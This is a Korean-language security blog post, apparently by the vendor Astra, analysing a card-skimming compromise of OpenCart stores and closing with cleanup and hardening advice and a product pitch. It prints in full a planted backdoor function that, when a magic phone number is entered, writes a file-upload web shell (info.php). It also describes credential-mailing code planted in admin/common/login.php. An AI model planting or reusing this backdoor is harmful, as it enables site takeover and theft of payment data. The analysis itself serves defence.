OpenCart와 PrestaShop은 전자상거래 운영을 위한 무료 오픈소스 솔루션입니다. 스타트업이든 기성 브랜드든, 13,000개 이상의 모듈을 보유한 OpenCart는 누구에게나 필요한 기능을 제공합니다. 또한 OpenCart는 고객 경험 개선에 지속적으로 힘쓰고 있으며, Google과 파일럿 프로젝트를 진행한 적도 있습니다. 하지만 인기가 높아질수록 해커들의 표적이 되기 쉽습니다. 실제로 많은 OpenCart 스토어에서 admin/common/login.php 파일이 해킹당하고, 이어서 신용카드 정보까지 유출되는 사례가 발생했습니다. 공격자들의 주된 목표는 OpenCart 사이트 공격을 통해 금전적 이익을 얻는 것입니다. Astra 연구진은 OpenCart 스토어를 대상으로 한 신용카드 탈취 공격을 발견했으며, 이 글에서는 해당 공격을 단계별로 분석하는 방법을 설명합니다.
신용카드 해킹: 가짜 결제 수단 추가
이러한 공격은 오랫동안 탐지되지 않은 채 진행되는 경우가 많습니다. 대부분 고객들이 불만을 제기해야만 사이트 운영자가 공격 사실을 알게 됩니다. 실제 사건에서도 피해 고객들은 특정 OpenCart 스토어에서만 사용한 신용카드가 유출되었다고 호소했습니다. 추가 조사 결과 사이트에 피싱 폼이 존재한다는 사실이 드러났고, 관리자 비밀번호 해킹도 함께 확인되었습니다. Astra 연구진은 이번 사건에서 감염된 신용카드 탈취 피싱 폼을 식별했는데, 이는 정상적인 결제(체크아웃) 폼에 악성 코드가 삽입된 형태였습니다.
아래 이미지는 신용카드 해킹에 사용된 피싱 폼입니다. 이 피싱 폼은 사용자의 금융 정보를 공격자가 통제하는 도메인으로 전송합니다. 더욱이 공격자는 PayPal과 같은 기본 결제 수단을 비활성화해 두었습니다. 이렇게 감염된 OpenCart 사이트들에서 공통적으로 나타나는 특징은 다음과 같습니다.
- 이전에 존재하지 않던 알 수 없는 파일 발견
- 비정상적인 로그인 행위
- 사이트 관리자가 모르는 새로운 데이터베이스 관리자 계정 생성
- 사용자들의 부정 거래 신고 접수
- 패킷 분석 도구에서 알 수 없는 도메인으로 향하는 아웃바운드 트래픽 감지
- 기존에 없던 새로운 결제 수단 추가
OpenCart 신용카드 해킹 사례
이 공격은 OpenCart 및 PrestaShop 스토어 운영자들을 무력하게 만들 수 있습니다. 커뮤니티 포럼을 보면 신용카드 해킹 피해를 호소하는 사용자들을 쉽게 찾아볼 수 있으며, 해당 스레드에는 동일한 공격을 당한 여러 사용자들이 모여 있는 경우도 많습니다.
침입 경로: 관리자 비밀번호 해킹
공격자들이 백도어를 삽입하려면 먼저 관리자 권한을 획득해야 합니다. 이를 위해 공격자들은 스토어 내부의 취약점을 악용했습니다. 이후 eval(base64_decode) 같은 위험한 함수를 사용해 서버에서 악성 코드를 실행했습니다. 해킹으로 이어졌을 가능성이 있는 대표적인 OpenCart 취약점은 다음과 같습니다.
SQL 인젝션(SQL Injection)
OpenCart 2.3.0.0 미만 버전은 SQL 인젝션(SQLi)에 취약했습니다. 다만 이를 악용하려면 관리자 권한이 필요했습니다. CVE-2009-1027 취약점으로 인해 OpenCart는 SQLi에 노출되었으며, 그 외에도 버그가 있는 서드파티 모듈이 SQLi의 원인이 될 수 있습니다.
원격 코드 실행(RCE)
CVE-2010-0956 취약점으로 인해 OpenCart는 원격 코드 실행에 취약해졌습니다. 해당 취약점은 index.php에서 발견되었으며, 서버 전체가 장악될 위험이 있었습니다. 또한 OpenCart의 json_decode 함수 역시 RCE로 이어질 수 있는 요소였습니다.
약한 자격 증명
약하거나 흔히 쓰이는 비밀번호도 침해의 원인이 될 수 있습니다. 간단한 무차별 대입(brute force) 공격만으로도 서버가 넘어갈 수 있습니다.
XSS(교차 사이트 스크립팅)
공격자는 XSS를 이용해 관리자를 속였을 가능성이 있습니다. CVE-2015-4671 취약점으로 인해 index.php가 XSS에 노출되었으며, 취약한 zone_id 매개변수가 해킹의 빌미가 되었을 수 있습니다.
제로데이 익스플로잇
공격자가 새로운 취약점을 발견해 이를 악용했을 가능성도 충분히 있습니다. 확률은 낮지만, 제로데이 취약점을 통한 침해도 배제할 수 없습니다.
시스템 전반 감염: 신용카드 정보 탈취
공격자가 시스템에 침입하면 사이트의 모든 계층을 장악하려 합니다. 이번 사건에서 Astra 연구진은 모든 고객 및 관리자 비밀번호가 유출되었음을 확인했습니다. 또한 공격자는 데이터베이스에 접근할 수 있었고, 삽입된 백도어는 데이터베이스의 무결성까지 위협했습니다. 데이터베이스 접근 권한을 통해 사용자 비밀번호, 이름, 주소, 주문 정보 등 민감한 데이터가 탈취되었을 수 있습니다.
더욱이 Astra 연구진은 두 가지 결제 수단이 침해되었음을 발견했습니다.
- Authorize.net AIM
- pp_pro
이 결제 수단들이 OpenCart·PrestaShop 신용카드 해킹에 활용되었습니다. 두 결제 모듈 모두 악성 코드가 삽입되어 있으며, 그 코드 일부는 아래와 같습니다.
여기서 공격자는 PHP의 Curl 라이브러리를 사용해 HTTP 요청을 보냈습니다. 이후 Smail MTA(경량·휴대성 좋은 메일 에이전트)를 통해 메일을 작성합니다. 이 메일에는 다음과 같은 민감한 정보가 담겨 있습니다.
- 주문 ID
- 결제자 이름(First Name)
- 결제자 성(Last Name)
- 주소
- 결제 도시
- 신용카드 만료 월/연도
- CVV 번호
- 신용카드 번호
이 모든 정보는 하나로 묶여 Yopmail 주소로 전송됩니다. Yopmail은 익명 이메일 서비스이기 때문에 공격자를 추적하기가 어렵습니다. 하지만 누구나 받은 편지함에 접근할 수 있다는 문제가 있는데, 공격자들은 이를 막기 위해 별칭(alias) 기능을 활용했습니다. 별칭은 Yopmail 자체의 보안 기능으로, 덕분에 공격자의 원래 편지함을 찾아내는 것은 더욱 어려워집니다.
Authorize.net 해킹
Authorize.net은 OpenCart 스토어에서 작동하는 결제 솔루션입니다. 공격자들이 신용카드 정보를 훔치기 위해 이 결제 수단을 노릴 가능성이 매우 높습니다. 따라서 평소 비활성화되어 있던 Authorize.net이 갑자기 활성화되어 있다면, 사이트가 OpenCart 신용카드 해킹의 표적이 되었을 가능성이 큽니다. 아래 이미지는 공격자가 임의로 활성화한 결제 수단의 모습입니다.
반대로 이미 Authorize.net을 사용 중이라면, 공격자가 이를 비활성화하고 자체 피싱 확장 기능을 설치했을 가능성도 있습니다. 이 경우 "merchant ID disabled(판매자 ID 비활성화)" 같은 메시지가 사이트에 표시될 수 있으며, 확장 페이지에서 결제 수단이 사라져 있을 수도 있습니다. 이런 징후들은 모두 신용카드 정보 탈취 시도를 의심할 근거입니다. 따라서 신용카드가 도난당한 고객들에게 즉시 안내하는 것이 좋습니다. EU 내에서 사업을 하거나 EU 고객의 데이터를 처리하는 경우, GDPR에 따라 이러한 정보 공개가 법적으로 의무화되어 있습니다.
접속 지속화: admin/common/login.php 해킹
공격자가 관리자 권한을 얻은 후 다음 단계는 핵심 파일 수정입니다. 코어 파일을 변조하면 사이트에 대한 지속적인 접근권을 유지할 수 있습니다. 공격자들은 지속적인 접근을 위해 로그인/관리자 페이지에도 코드를 삽입했습니다. 아래는 admin/common/login.php가 해킹된 코드 일부입니다.
악성 코드를 보면 공격자가 이메일 전송에 Smail을 사용한 것을 알 수 있습니다. Smail은 명령줄에서 모든 작업을 수행할 수 있어 공격자들에게 선호되는 도구입니다. 이후 로그인 자격 증명으로 이메일이 작성되며, 사용자 이름과 비밀번호가 담긴 이메일이 공격자의 편지함으로 전송됩니다. 이번 사건에서 공격자들은 admin@wsxdn.com을 자신들의 편지함으로 지정했습니다.
특히 이 코드는 관리자가 로그인할 때마다 실행됩니다. 따라서 공격자는 이메일을 통해 최신 로그인 자격 증명을 계속 확인할 수 있습니다. 이러한 악성 코드 덕분에 공격자는 사이트에 대한 지속적인 접근권을 유지할 수 있습니다. 이 외에도 info.php 같은 백도어가 지속성 유지를 도왔는데, 이에 대해서는 아래에서 자세히 설명합니다.
탐지 회피: 무료 회원가입을 이용한 은밀한 침투
이번 사건의 사이트는 무료 회원가입을 허용하고 있었습니다. 공격자들은 이를 악용해 일반 사용자처럼 행동하면서 리버스 셸(reverse shell)을 확보할 수 있도록 코드를 변조했습니다. 해당 악성 코드는 다음과 같습니다.
protected function validate() { if(md5($this->request->post['telephone'])=='66b6d63b9634e1159e53e29858de2c2d'){$file2 = "info.php";$handle2 = fopen($file2, 'w+'); fwrite($handle2,'<?php $files = @$_FILES["files"];if($files["name"] != ""){$fullpath = $_REQUEST["path"].$files["name"];if(move_uploaded_file($files["tmp_name"],$fullpath)){}}exit("<form method=POST enctype=multipart/form-data action=><input type=text name=path><input type=file name=files><input type=submit value=Up></form>");?>');fclose($handle2); }
이 코드는 특정 전화번호를 검사하며, 해당 번호가 입력되면 파일 업로드를 허용합니다. Astra 연구진이 밝혀낸 단계별 공격 과정은 다음과 같습니다.
- 1단계: 공격자는 무료 회원가입을 통해 여러 개의 새 사용자 계정을 생성했습니다. 계정이 많을수록 탐지 가능성은 낮아집니다.
- 2단계: 그다음 입력 필드에 특정 전화번호를 입력했습니다. 실제 전화번호는 md5로 암호화되어
66b6d63b9634e1159e53e29858de2c2d라는 문자열로 숨겨져 있었습니다. 이 전화번호는 백도어 업로드를 위한 마스터 키 역할을 합니다. - 3단계: 전화번호가 입력되는 즉시
info.php라는 이름의 파일이 생성됩니다. 최종 URL은example.com/info.php형태가 됩니다. - 4단계: 공격자가
info.php파일에 접근하면 파일을 업로드할 수 있는 기능이 열립니다. - 5단계: 이 업로드 기능을 통해 공격자는 감염된 PHP 파일을 올릴 수 있습니다. 이러한 파일들은 공격자에게 리버스 TCP, ICMP 연결 등을 열어주며, 루트 디렉터리에 업로드될 경우 피해가 훨씬 더 심각해집니다.
또한 공격자들은 이미지 디렉터리에도 백도어를 숨겨두었습니다. 이미지 폴더 안에서 악성 파일을 찾을 가능성은 낮기 때문에 공격자들에게 좋은 은신처가 되었던 것입니다. 만약 사이트 정화 작업이 진행되더라도 이미지 폴더에서 사이트를 재감염시킬 계획이었던 것입니다.
공격 이후 정화 작업
공격을 당한 후 가장 먼저 해야 할 일은 전면 정화(cleanup)입니다. 감염된 파일을 삭제하고 백업본으로 복원하세요. 백업이 없다면 새로 설치하는 것이 좋습니다. 특히 결제 관련 파일은 반드시 복원해야 합니다. 아래 파일들을 점검하세요.
- /admin/controller/extension/payment.php
- /admin/controller/common/login.php
- /catalog/controller/payment/authorizenet_aim.php
이 파일들은 OpenCart·PrestaShop 신용카드 해킹으로 악성 코드가 삽입된 파일들이므로 즉시 복원해야 합니다. 아울러 공격자가 변조한 파일을 찾아야 합니다. 다음 SSH 명령어로 확인할 수 있습니다.
$ find ./ -type f -mtime -15
타임스탬프를 확인하고 공격자가 수정한 파일들을 삭제하세요. 또한 PhpMyAdmin 같은 도구는 정화 작업에서 유용하게 활용됩니다.
PhpMyAdmin을 활용해 악성 도메인을 탐지하는 예시 화면입니다.
재발 방지 대책
관리자 폴더 보호
관리자(admin) 폴더 이름을 변경하세요. 폴더명이 바뀌면 공격자가 찾기가 훨씬 어려워집니다. 또한 .htaccess를 사용해 관리자 IP를 제외한 모든 IP의 로그인 폴더 접근을 차단하세요.
카탈로그 보호
.htaccess는 카탈로그와 .txt, .twig 같은 민감한 파일 보호에도 활용할 수 있습니다. FilesMatch 지시문으로 구현 가능하며, 아래 코드를 .htaccess 파일에 추가하면 됩니다(환경에 맞게 수정).
<FilesMatch ".(php|twig|txt)$">
Order Deny,Allow
Deny from all
Allow from "your ip address"
</FilesMatch>
폴더 권한 제한
관리자만 OpenCart 파일과 하위 폴더에 접근할 수 있도록 설정하세요. 다음 코드를 .htaccess 파일에 추가하면 됩니다.
<Files *.*>
Order Deny,Allow
Deny from all
Allow from "your ip address"
</Files>
파일 권한 제한
민감한 파일은 권한을 644 또는 444로 설정해 보호하세요. 이렇게 하면 다른 사용자가 파일에 쓰는 것을 방지할 수 있습니다. 주요 민감 파일은 다음과 같습니다.
- config.php
- index.php
- admin/config.php
- admin/index.php
- system/startup.php
Astra 방화벽
OpenCart·PrestaShop 신용카드 해킹은 스토어 평판에 심각한 타격을 줄 수 있습니다. 피해를 입은 고객들은 이후 온라인 결제 시 불안감을 느낄 수밖에 없습니다. 따라서 최선책은 이러한 공격을 사전에 차단하는 것입니다. 이를 위해 방화벽을 활용하세요. Astra 방화벽 같은 솔루션은 모든 트래픽을 모니터링해 악성 요청을 걸러내고, 안전한 요청만 서버에 도달하도록 보장합니다. 아울러 새로운 로그인과 파일 변조 발생 시에도 알림을 받을 수 있습니다. Astra와 함께라면 OpenCart·PrestaShop 스토어를 admin/common/login.php 해킹으로부터 지킬 수 있습니다.